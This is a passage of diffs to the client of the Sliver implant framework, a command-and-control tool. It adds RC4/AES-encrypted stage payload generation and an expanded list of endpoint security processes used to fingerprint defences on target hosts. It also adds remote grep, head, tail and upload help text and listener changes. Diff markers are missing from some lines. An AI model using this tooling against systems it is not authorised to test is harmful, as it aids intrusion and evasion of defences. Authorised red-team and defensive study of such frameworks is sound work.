if SGNDisabled, _ := cmd.Flags().GetBool("disable-sgn"); SGNDisabled {
profile.Config.SGNEnabled = !SGNDisabled
}
implantFile, err := compile(profile.Config, save, con)
_, err := compile(profile.Config, save, con)
if err != nil {
return
}
profile.Config.Name = buildImplantName(implantFile.Name)
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
if err != nil {
con.PrintErrorf("could not update implant profile: %v\n", err)
return
}
} else {
con.PrintErrorf("No profile with name '%s'", name)
}
+2 -2
View File
@@ -33,7 +33,7 @@ func ProfilesNewCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [
name = args[0]
}
// name := ctx.Args.String("name")
config := parseCompileFlags(cmd, con)
_, config := parseCompileFlags(cmd, con)
if config == nil {
return
}
@@ -60,7 +60,7 @@ func ProfilesNewBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient,
con.PrintErrorf("No profile name specified\n")
return
}
config := parseCompileFlags(cmd, con)
_, config := parseCompileFlags(cmd, con)
if config == nil {
return
}
+80
View File
@@ -0,0 +1,80 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"os"
"strings"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
)
// ProfilesStageCmd - Generate an encrypted/compressed implant binary based on a profile
func ProfilesStageCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
name, _ := cmd.Flags().GetString("name")
profileName := args[0]
aesEncryptKey, _ := cmd.Flags().GetString("aes-encrypt-key")
aesEncryptIv, _ := cmd.Flags().GetString("aes-encrypt-iv")
rc4EncryptKey, _ := cmd.Flags().GetString("rc4-encrypt-key")
prependSize, _ := cmd.Flags().GetBool("prepend-size")
compressF, _ := cmd.Flags().GetString("compress")
compress := strings.ToLower(compressF)
save, _ := cmd.Flags().GetString("save")
profile := GetImplantProfileByName(profileName, con)
if profile == nil {
con.PrintErrorf("Profile not found\n")
return
}
ctrl := make(chan bool)
con.SpinUntil("Compiling, please wait ...", ctrl)
stage2, err := con.Rpc.GenerateStage(context.Background(), &clientpb.GenerateStageReq{
Profile: profileName,
Name: name,
AESEncryptKey: aesEncryptKey,
AESEncryptIv: aesEncryptIv,
RC4EncryptKey: rc4EncryptKey,
PrependSize: prependSize,
Compress: compress,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
saveTo, err := saveLocation(save, stage2.File.Name, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
err = os.WriteFile(saveTo, stage2.File.Data, 0o700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return
}
con.PrintInfof("Implant saved to %s\n", saveTo)
}
+4
View File
@@ -62,6 +62,8 @@ func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConso
"Format",
"Obfuscation",
"Limitations",
"C2 Profile",
// "Nonce",
})
tw.SortBy([]table.SortBy{
{Name: "Profile Name", Mode: table.Asc},
@@ -91,6 +93,8 @@ func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConso
fmt.Sprintf("%v", config.Format),
obfuscation,
getLimitsString(config),
config.HTTPC2ConfigName,
// profile.ImplantID,
})
}
+72 -1
View File
@@ -59,6 +59,9 @@ var (
consts.PwdStr: pwdHelp,
consts.CatStr: catHelp,
consts.DownloadStr: downloadHelp,
consts.GrepStr: grepHelp,
consts.HeadStr: headHelp,
consts.TailStr: tailHelp,
consts.UploadStr: uploadHelp,
consts.MkdirStr: mkdirHelp,
consts.RmStr: rmHelp,
@@ -113,6 +116,9 @@ var (
// Builders
consts.BuildersStr: buildersHelp,
// HTTP C2
consts.C2ProfileStr: c2ProfilesHelp,
}
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -321,8 +327,38 @@ Downloads can be filtered using the following patterns:
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
headHelp = `[[.Bold]]Command:[[.Normal]] head [--bytes/-b <number of bytes>] [--lines/-l <number of lines>] <remote path>
[[.Bold]]About:[[.Normal]] Fetch the first number of bytes or lines from a remote file and display it to stdout.`
tailHelp = `[[.Bold]]Command:[[.Normal]] tail [--bytes/-b <number of bytes>] [--lines/-l <number of lines>] <remote path>
[[.Bold]]About:[[.Normal]] Fetch the last number of bytes or lines from a remote file and display it to stdout.`
uploadHelp = `[[.Bold]]Command:[[.Normal]] upload [local src] <remote dst>
[[.Bold]]About:[[.Normal]] Upload a file to the remote system.`
[[.Bold]]About:[[.Normal]] Upload a file or directory to the remote system.
[[.Bold]][[.Underline]]Paths[[.Normal]]
You can preserve directory structures using the -p switch. Directories will be preserved as they are specified in the source path.
For example, the command upload -p /home/me/docs /tmp will upload the files in /home/me/docs to /tmp/home/me/docs on the target.
However, if you are in the local directory /home/me, and issue the command upload -p docs /tmp, the files in /home/me/docs will
be uploaded to /tmp/docs on the target. This is equivalent to upload /home/me/docs /tmp/docs (notice the lack of the -p switch).
[[.Bold]][[.Underline]]Filters[[.Normal]]
Filters are a way to limit uploads to file names matching given criteria. Filters DO NOT apply to directory names.
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
upload /etc/*.conf will upload all files from /etc whose names end in .conf. /etc/ is the path, *.conf is the filter.
Uploads can be filtered using the following patterns:
'*': Wildcard, matches any sequence of non-path separators (slashes)
Example: n*.txt will match all file names starting with n and ending with .txt
'?': Single character wildcard, matches a single non-path separator (slashes)
Example: s?iver will match all file names starting with s followed by any non-separator character and ending with iver.
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all file names that start with a, b, or c.
^[r-u] will match all characters except r, s, t, and u.
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
procdumpHelp = `[[.Bold]]Command:[[.Normal]] procdump [pid]
[[.Bold]]About:[[.Normal]] Dumps the process memory given a process identifier (pid)`
@@ -1220,6 +1256,41 @@ Sliver uses the same hash identifiers as Hashcat (use the #):
% 10s - A file containing lines of 'username:hash' pairs.
% 10s - A CSV file containing 'username,hash' pairs (additional columns ignored).
`, creds.HashNewlineFormat, creds.UserColonHashNewlineFormat, creds.CSVFormat)
c2ProfilesHelp = `[[.Bold]]Command:[[.Normal]] c2profile
[[.Bold]]About:[[.Normal]] Display details of HTTP C2 profiles loaded into Sliver.
`
C2ProfileImportStr = `[[.Bold]]Command:[[.Normal]] Import
[[.Bold]]About:[[.Normal]] Load custom HTTP C2 profiles.
`
grepHelp = `[[.Bold]]Command:[[.Normal]] grep [flags / options] <search pattern> <path>
[[.Bold]]About:[[.Normal]] Search a file or path for a search pattern
[[.Bold]][[.Underline]]Search Patterns[[.Normal]]
Search patterns use RE2 regular expression syntax.
[[.Bold]][[.Underline]]Binary Files[[.Normal]]
When searching a binary file, grep will only return the line that matches if it exclusively contains UTF-8 printable characters.
Before, after, and context options are disabled for binary files.
[[.Bold]][[.Underline]]Path Filters[[.Normal]]
Filters are a way to limit searches to file names matching given criteria. Filters DO NOT apply to directory names.
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
grep something /etc/*.conf will search all files in /etc whose names end in .conf. /etc/ is the path, *.conf is the filter.
Searches can be filtered using the following patterns:
'*': Wildcard, matches any sequence of non-path separators (slashes)
Example: n*.txt will search all file names starting with n and ending with .txt
'?': Single character wildcard, matches a single non-path separator (slashes)
Example: s?iver will search all file names starting with s followed by any non-separator character and ending with iver.
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all file names that start with a, b, or c.
^[r-u] will match all characters except r, s, t, and u.
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
)
const (
+8
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@@ -43,6 +43,10 @@ func InfoCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string
// ID passed via argument takes priority
idArg := args[0]
session, beacon, err = use.SessionOrBeaconByID(idArg, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
} else if session != nil || beacon != nil {
currID := ""
if session != nil {
@@ -51,6 +55,10 @@ func InfoCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string
currID = beacon.ID
}
session, beacon, err = use.SessionOrBeaconByID(currID, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
} else {
if session == nil && beacon == nil {
session, beacon, err = use.SelectSessionOrBeacon(con)
-2
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@@ -41,7 +41,6 @@ func DNSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [
lhost, _ := cmd.Flags().GetString("lhost")
lport, _ := cmd.Flags().GetUint32("lport")
canaries, _ := cmd.Flags().GetBool("no-canaries")
persistent, _ := cmd.Flags().GetBool("persistent")
enforceOTP, _ := cmd.Flags().GetBool("disable-otp")
con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
@@ -50,7 +49,6 @@ func DNSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [
Host: lhost,
Port: lport,
Canaries: !canaries,
Persistent: persistent,
EnforceOTP: !enforceOTP,
})
con.Println()
-2
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@@ -37,7 +37,6 @@ func HTTPListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
pollTimeout, _ := cmd.Flags().GetString("long-poll-timeout")
pollJitter, _ := cmd.Flags().GetString("long-poll-jitter")
website, _ := cmd.Flags().GetString("website")
persistent, _ := cmd.Flags().GetBool("persistent")
longPollTimeout, err := time.ParseDuration(pollTimeout)
if err != nil {
@@ -57,7 +56,6 @@ func HTTPListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
Host: lhost,
Port: lport,
Secure: false,
Persistent: persistent,
EnforceOTP: !disableOTP,
LongPollTimeout: int64(longPollTimeout),
LongPollJitter: int64(longPollJitter),
+3 -5
View File
@@ -22,7 +22,7 @@ import (
"context"
"crypto/tls"
"fmt"
"io/ioutil"
"os"
"time"
"github.com/spf13/cobra"
@@ -40,7 +40,6 @@ func HTTPSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
pollTimeout, _ := cmd.Flags().GetString("long-poll-timeout")
pollJitter, _ := cmd.Flags().GetString("long-poll-jitter")
website, _ := cmd.Flags().GetString("website")
persistent, _ := cmd.Flags().GetBool("persistent")
letsEncrypt, _ := cmd.Flags().GetBool("lets-encrypt")
disableRandomize, _ := cmd.Flags().GetBool("disable-randomized-jarm")
@@ -72,7 +71,6 @@ func HTTPSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
Cert: cert,
Key: key,
ACME: letsEncrypt,
Persistent: persistent,
EnforceOTP: !disableOTP,
LongPollTimeout: int64(longPollTimeout),
LongPollJitter: int64(longPollJitter),
@@ -92,11 +90,11 @@ func getLocalCertificatePair(cmd *cobra.Command) ([]byte, []byte, error) {
if certPath == "" && keyPath == "" {
return nil, nil, nil
}
cert, err := ioutil.ReadFile(certPath)
cert, err := os.ReadFile(certPath)
if err != nil {
return nil, nil, err
}
key, err := ioutil.ReadFile(keyPath)
key, err := os.ReadFile(keyPath)
if err != nil {
return nil, nil, err
}
+2
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@@ -70,6 +70,7 @@ func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient)
"Name",
"Protocol",
"Port",
"Domains",
})
var keys []int
@@ -85,6 +86,7 @@ func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient)
job.Name,
job.Protocol,
fmt.Sprintf("%d", job.Port),
strings.Join(job.Domains, ","),
})
}
con.Printf("%s\n", tw.Render())
+2 -4
View File
@@ -31,13 +31,11 @@ import (
func MTLSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
lhost, _ := cmd.Flags().GetString("lhost")
lport, _ := cmd.Flags().GetUint32("lport")
persistent, _ := cmd.Flags().GetBool("persistent")
con.PrintInfof("Starting mTLS listener ...\n")
mtls, err := con.Rpc.StartMTLSListener(context.Background(), &clientpb.MTLSListenerReq{
Host: lhost,
Port: lport,
Persistent: persistent,
Host: lhost,
Port: lport,
})
con.Println()
if err != nil {
+24 -49
View File
@@ -43,7 +43,7 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
listenerURL, _ := cmd.Flags().GetString("url")
aesEncryptKey, _ := cmd.Flags().GetString("aes-encrypt-key")
aesEncryptIv, _ := cmd.Flags().GetString("aes-encrypt-iv")
prependSize, _ := cmd.Flags().GetBool("prepend-size")
rc4EncryptKey, _ := cmd.Flags().GetString("rc4-encrypt-key")
compressF, _ := cmd.Flags().GetString("compress")
compress := strings.ToLower(compressF)
@@ -70,6 +70,21 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
return
}
if rc4EncryptKey != "" && aesEncryptKey != "" {
con.PrintErrorf("Cannot use both RC4 and AES encryption\n")
return
}
rc4Encrypt := false
if rc4EncryptKey != "" {
// RC4 keysize can be between 1 to 256 bytes
if len(rc4EncryptKey) < 1 || len(rc4EncryptKey) > 256 {
con.PrintErrorf("Incorrect length of RC4 Key\n")
return
}
rc4Encrypt = true
}
aesEncrypt := false
if aesEncryptKey != "" {
// check if aes encryption key is correct length
@@ -121,55 +136,11 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
}
if rc4Encrypt {
stage2 = util.RC4EncryptUnsafe(stage2, []byte(rc4EncryptKey))
}
switch stagingURL.Scheme {
case "http":
if prependSize {
stage2 = prependPayloadSize(stage2)
}
ctrl := make(chan bool)
con.SpinUntil("Starting HTTP staging listener...", ctrl)
stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
Protocol: clientpb.StageProtocol_HTTP,
Data: stage2,
Host: stagingURL.Hostname(),
Port: uint32(stagingPort),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error starting HTTP staging listener: %s\n", err)
return
}
con.PrintInfof("Job %d (http) started\n", stageListener.GetJobID())
case "https":
letsEncrypt, _ := cmd.Flags().GetBool("lets-encrypt")
if prependSize {
stage2 = prependPayloadSize(stage2)
}
cert, key, err := getLocalCertificatePair(cmd)
if err != nil {
con.Println()
con.PrintErrorf("Failed to load local certificate %s\n", err)
return
}
ctrl := make(chan bool)
con.SpinUntil("Starting HTTPS staging listener...", ctrl)
stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
Protocol: clientpb.StageProtocol_HTTPS,
Data: stage2,
Host: stagingURL.Hostname(),
Port: uint32(stagingPort),
Cert: cert,
Key: key,
ACME: letsEncrypt,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error starting HTTPS staging listener: %v\n", err)
return
}
con.PrintInfof("Job %d (https) started\n", stageListener.GetJobID())
case "tcp":
// Always prepend payload size for TCP stagers
stage2 = prependPayloadSize(stage2)
@@ -198,6 +169,10 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
con.PrintInfof("AES KEY: %v\n", aesEncryptKey)
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
}
if rc4Encrypt {
con.PrintInfof("RC4 KEY: %v\n", rc4EncryptKey)
}
}
func prependPayloadSize(payload []byte) []byte {
+3 -5
View File
@@ -32,14 +32,12 @@ func WGListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []
lport, _ := cmd.Flags().GetUint32("lport")
nport, _ := cmd.Flags().GetUint32("nport")
keyExchangePort, _ := cmd.Flags().GetUint32("key-port")
persistent, _ := cmd.Flags().GetBool("persistent")
con.PrintInfof("Starting Wireguard listener ...\n")
wg, err := con.Rpc.StartWGListener(context.Background(), &clientpb.WGListenerReq{
Port: lport,
NPort: nport,
KeyPort: keyExchangePort,
Persistent: persistent,
Port: lport,
NPort: nport,
KeyPort: keyExchangePort,
})
if err != nil {
con.PrintErrorf("%s\n", err)
+5
View File
@@ -197,6 +197,11 @@ func LootDownload(download *sliverpb.Download, lootName string, fileType clientp
}
}
func LootText(text string, lootName string, lootFileName string, fileType clientpb.FileType, con *console.SliverConsoleClient) {
lootMessage := CreateLootMessage(lootFileName, lootName, fileType, []byte(text))
SendLootMessage(lootMessage, con)
}
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
func LootAddRemoteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive()
+139
View File
@@ -0,0 +1,139 @@
package monitor
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
)
func MonitorConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
resp, err := con.Rpc.MonitorListConfig(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintWTConfig(resp, con)
}
func MonitorAddConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
apiKey, _ := cmd.Flags().GetString("apiKey")
apiPassword, _ := cmd.Flags().GetString("apiPassword")
apiType, _ := cmd.Flags().GetString("type")
MonitoringProvider := &clientpb.MonitoringProvider{Type: apiType, APIKey: apiKey}
if apiType == "xforce" {
MonitoringProvider.APIPassword = apiPassword
}
resp, err := con.Rpc.MonitorAddConfig(context.Background(), MonitoringProvider)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if resp != nil && resp.Err != "" {
con.PrintErrorf("%s\n", resp.Err)
return
}
con.PrintInfof("Added monitoring configuration\n")
}
func MonitorDelConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
resp, err := con.Rpc.MonitorListConfig(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
config, err := selectWatchtowerConfig(resp)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.MonitorDelConfig(context.Background(), config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Removed monitoring configuration\n")
}
// PrintWTConfig - Print the current watchtower configuration
func PrintWTConfig(configs *clientpb.MonitoringProviders, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Type",
"APIKey",
"APIPassword",
})
color := console.Normal
for _, config := range configs.Providers {
row := table.Row{}
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.ID))
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.Type))
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.APIKey))
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.APIPassword))
tw.AppendRow(row)
}
con.Printf("%s\n", tw.Render())
}
func selectWatchtowerConfig(configs *clientpb.MonitoringProviders) (*clientpb.MonitoringProvider, error) {
var options []string
for _, config := range configs.Providers {
options = append(options, config.Type)
}
selected := ""
prompt := &survey.Select{
Message: "Select a configuration:",
Options: options,
}
err := survey.AskOne(prompt, &selected)
if err != nil {
return nil, err
}
for _, provider := range configs.Providers {
if provider.Type == selected {
return provider, nil
}
}
return nil, nil
}
+1 -2
View File
@@ -21,7 +21,6 @@ package processes
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"time"
@@ -112,7 +111,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
var saveToFile *os.File
if saveTo == "" {
tmpFileName := filepath.Base(fmt.Sprintf("procdump_%s_%d_*", hostname, pid))
saveToFile, err = ioutil.TempFile("", tmpFileName)
saveToFile, err = os.CreateTemp("", tmpFileName)
if err != nil {
con.PrintErrorf("Error creating temporary file: %s\n", err)
return
+22 -8
View File
@@ -46,14 +46,20 @@ var knownSecurityTools = map[string][]string{
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
"SenseIR.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Live Response Session)
"SenseCncProxy.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint
"MsSense.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint
"MpCmdRun.exe": {console.Red, "Windows Defender"}, // Windows Defender
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"MpCmdRun.exe": {console.Red, "Windows Defender"}, // Windows Defender Command-line
"MonitoringHost.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
"HealthService.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender (Service Executable)
"NisSrv.exe": {console.Red, "Windows Defender"}, // Windows Defender (Network Realtime Inspection)
"SenseIR.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Live Response Session)
"SenseNdr.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Network Detection and Response)
"SenseSC.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Screenshot Capture Module)
"SenseCE.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Classification Engine Module)
"SenseCM.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Configuration Management Module)
"SenseSampleUploader.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Sample Uploader Module)
"SenseCncProxy.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Communication Module)
"MsSense.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Service Executable)
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
@@ -86,6 +92,10 @@ var knownSecurityTools = map[string][]string{
"eguiproxy.exe": {console.Red, "ESET Security"}, // ESET Internet Security
"ekrn.exe": {console.Red, "ESET Security"}, // ESET Internet Security
"efwd.exe": {console.Red, "ESET Security"}, // ESET Internet Security
"AmSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
"CrAmTray.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
"CrsSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
"CybereasonAV.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
}
// PsCmd - List processes on the remote system
@@ -202,12 +212,16 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, flags *pflag.FlagSet,
}
func findKnownSecurityProducts(ps *sliverpb.Ps) []string {
products := []string{}
uniqProducts := map[string]string{}
for _, proc := range ps.Processes {
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
products = append(products, secTool[1])
uniqProducts[secTool[1]] = secTool[0]
}
}
products := make([]string, 0, len(uniqProducts))
for name := range uniqProducts {
products = append(products, name)
}
return products
}
+7
View File
@@ -51,9 +51,16 @@ func (n *node) insert(proc *commonpb.Process) {
}
func (n *node) findParent(proc *commonpb.Process) *node {
// Empty node
if n.Value == nil {
return nil
}
// Skip self when called from reorder
// otherwise things might explode, see #1340
if n.Value.Pid == proc.Pid {
return nil
}
// Found parent
if n.Value.Pid == proc.Ppid {
return n
}
+3 -3
View File
@@ -21,7 +21,7 @@ package reaction
import (
"encoding/json"
"fmt"
"io/ioutil"
"os"
"path"
"strconv"
"strings"
@@ -49,13 +49,13 @@ func SaveReactions(reactions []core.Reaction) error {
if err != nil {
return err
}
return ioutil.WriteFile(reactionFilePath, data, 0o600)
return os.WriteFile(reactionFilePath, data, 0o600)
}
// LoadReactions - Save the reactions to the reaction file
func LoadReactions() (int, error) {
reactionFilePath := GetReactionFilePath()
data, err := ioutil.ReadFile(reactionFilePath)
data, err := os.ReadFile(reactionFilePath)
if err != nil {
return 0, err
}
+2 -2
View File
@@ -21,7 +21,7 @@ package registry
import (
"context"
"encoding/hex"
"io/ioutil"
"os"
"strconv"
"strings"
@@ -100,7 +100,7 @@ func RegWriteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
return
}
} else {
v, err = ioutil.ReadFile(binPath)
v, err = os.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
+1 -2
View File
@@ -21,7 +21,6 @@ package screenshot
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"time"
@@ -107,7 +106,7 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, cmd *cobr
var err error
if saveTo == "" {
tmpFileName := filepath.Base(fmt.Sprintf("screenshot_%s_%s_*.png", filepath.Base(hostname), timestamp))
saveToFile, err = ioutil.TempFile("", tmpFileName)
saveToFile, err = os.CreateTemp("", tmpFileName)
if err != nil {
con.PrintErrorf("%s\n", err)
return
+102 -5
View File
@@ -31,6 +31,7 @@ import (
"github.com/bishopfox/sliver/client/command/armory"
"github.com/bishopfox/sliver/client/command/beacons"
"github.com/bishopfox/sliver/client/command/builders"
"github.com/bishopfox/sliver/client/command/c2profiles"
"github.com/bishopfox/sliver/client/command/crack"
"github.com/bishopfox/sliver/client/command/creds"
"github.com/bishopfox/sliver/client/command/exit"
@@ -53,6 +54,7 @@ import (
"github.com/bishopfox/sliver/client/command/websites"
"github.com/bishopfox/sliver/client/command/wireguard"
client "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/licenses"
)
@@ -270,7 +272,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
Flags("mTLS listener", false, mtlsCmd, func(f *pflag.FlagSet) {
f.StringP("lhost", "L", "", "interface to bind server to")
f.Uint32P("lport", "l", generate.DefaultMTLSLPort, "tcp listen port")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
server.AddCommand(mtlsCmd)
@@ -288,7 +289,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.Uint32P("lport", "l", generate.DefaultWGLPort, "udp listen port")
f.Uint32P("nport", "n", generate.DefaultWGNPort, "virtual tun interface listen port")
f.Uint32P("key-port", "x", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
server.AddCommand(wgCmd)
@@ -307,7 +307,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.StringP("lhost", "L", "", "interface to bind server to")
f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port")
f.BoolP("disable-otp", "D", false, "disable otp authentication")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
server.AddCommand(dnsCmd)
@@ -328,7 +327,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.BoolP("disable-otp", "D", false, "disable otp authentication")
f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout")
f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter")
f.BoolP("persistent", "p", false, "make persistent across restarts")
f.BoolP("staging", "s", false, "enable staging")
})
server.AddCommand(httpCmd)
@@ -349,13 +348,13 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.BoolP("disable-otp", "D", false, "disable otp authentication")
f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout")
f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter")
f.BoolP("enable-staging", "s", false, "enable staging")
f.StringP("cert", "c", "", "PEM encoded certificate file")
f.StringP("key", "k", "", "PEM encoded private key file")
f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate")
f.BoolP("disable-randomized-jarm", "E", false, "disable randomized jarm fingerprints")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
server.AddCommand(httpsCmd)
@@ -376,6 +375,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
